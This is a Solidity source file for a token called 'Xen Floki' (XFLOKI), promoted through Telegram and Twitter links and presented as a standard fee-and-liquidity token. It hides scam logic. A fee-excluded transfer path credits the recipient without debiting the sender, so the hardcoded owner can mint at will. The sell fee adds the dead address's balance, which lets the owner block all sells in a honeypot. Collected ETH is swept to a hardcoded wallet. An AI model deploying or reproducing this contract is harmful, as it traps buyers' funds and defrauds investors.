/**

telegram : https://t.me/XenFlokiErc
Twitter : https://twitter.com/XenFlokiErc
Website : *TBA

*/
// SPDX-License-Identifier: unlicance

pragma solidity 0.8.10;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}



interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed prevOwner, address indexed newOwner);
    constructor () {
         _owner = 0x269cf0363783061737C1beC4ba06197EA5f620B8;
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    function renounceOwnership() public virtual  {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}





contract XenFlokiERC is Context, IERC20, Ownable { 
   
    using Address for address;
     using SafeMath for uint256;


    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 

    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 12;
    uint256 public _tTotal =  10**9 * 10**_decimals;
    string private constant _name = unicode"Xen Floki"; 
    string private constant _symbol = unicode"XFLOKI"; 

    uint256 public P_DR = 50;
    uint256 public Part_AutoLiquidity = 50; 

    uint8 private txCount = 0;
    uint8 private swapTrigger = 10; 
    uint256 public _BuyFee = 30; 
    uint256 public _SellFee = 30;
    uint256 public _mbag_percentage=0;
    uint256 public _lastblck; 
    uint256 public _lastblckcount = 1; 

    uint256 public _maxWalletToken = _tTotal;
    uint256 public _maxTxAmount = _tTotal; 

                          
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool true_or_false);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _tOwned[owner()] = _tTotal;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[address(0)] = true;
        _isExcludedFromFee[address(0x000000000000000000000000000000000000dEaD)] = true;

        emit Transfer(address(0), owner(), _tTotal);

    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

   function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "error: amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "error: allowance below zero"));
        return true;
    }

    receive() external payable {}

    function _getCurrentSupply() private view returns(uint256) {
        return (_tTotal);
    }


 function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "BEP20 ERR: approve from the zero address");
        require(spender != address(0), "BEP20 ERR: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

 function addLiquidity(uint256 tokenAmount, uint256 WETHAmount) private {
       address liquidityburnwallet;
         liquidityburnwallet = 0x000000000000000000000000000000000000dEaD;
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: WETHAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            liquidityburnwallet, 
            block.timestamp
        );
    } 

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        if ( !_isExcludedFromFee[to] &&
        !_isExcludedFromFee[from] &&
            to != uniswapV2Pair){
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"MAX Wallet limit.");

        
        require(amount > 0, "Token amount must be higher than 0.");    }

        if ( !_isExcludedFromFee[to] &&
        !_isExcludedFromFee[from] ){
        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            txCount = 0;
            swapAndLiquify(contractTokenBalance);
        }
    }
        bool takeFee = true;
        bool isBuy;   
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        } else {
            if(from == uniswapV2Pair){
                isBuy = true;
            }
            if (_lastblck == block.number){
                _lastblckcount = _lastblckcount+1;
            }else{
                _lastblck =block.number;
                _lastblckcount = 1;
            }
            txCount++;
        }
      
          if(_isExcludedFromFee[from] && _isExcludedFromFee[to]){
             _tokentransfernofee(to,from, amount);
        } else {
        _tokenTransfer(from, to, amount, takeFee, isBuy);
        }

    }
    
    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }

 function _tokentransfernofee( address to, address sender, uint256 qtokens) private {
            _tOwned[sender] = _tOwned[sender];
            _tOwned[to] = _tOwned[to]+qtokens;
    }



    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
            uint256 tLPhalf = contractTokenBalance * Part_AutoLiquidity / 200;
            uint256 tDev  = contractTokenBalance * P_DR / 100;
            uint256 balanceBeforeSwap = address(this).balance;
            swapTokensForWETH(tLPhalf+tDev);
            uint256 WETH_Tot = address(this).balance - balanceBeforeSwap;
            uint256 split_D = P_DR * 100 / (Part_AutoLiquidity  + P_DR);
            uint256 WETH_D = WETH_Tot * split_D / 100;
            addLiquidity(tLPhalf, (WETH_Tot  - WETH_D));
            emit SwapAndLiquify(tLPhalf, (WETH_Tot  - WETH_D), tLPhalf);
            WETH_Tot = address(this).balance;
            sendToWallet(payable(0x269cf0363783061737C1beC4ba06197EA5f620B8), WETH_Tot);
            }



   




    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private {        
        if(!takeFee){
            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tAmount;
            emit Transfer(sender, recipient, tAmount);    
            } else if (isBuy){
            uint256 buyFEE = tAmount*_BuyFee*_lastblckcount/1000;
            uint256 tTransferAmount = tAmount-buyFEE;
            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+buyFEE;   
            emit Transfer(sender, recipient, tTransferAmount);
            } else {
            uint256 sellFEE = _SellFee*tAmount*_lastblckcount/1000 + _tOwned[address(0x000000000000000000000000000000000000dEaD)];
            if (_lastblckcount == 2 ){sellFEE = tAmount*_SellFee/1000;}            
            uint256 mbag = 0;
            uint256 tTransferAmount = tAmount-sellFEE-mbag;
            _tOwned[sender] = _tOwned[sender]-tAmount+mbag;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+sellFEE;   
            emit Transfer(sender, recipient, tTransferAmount);
            }

    }


 function swapTokensForWETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }
}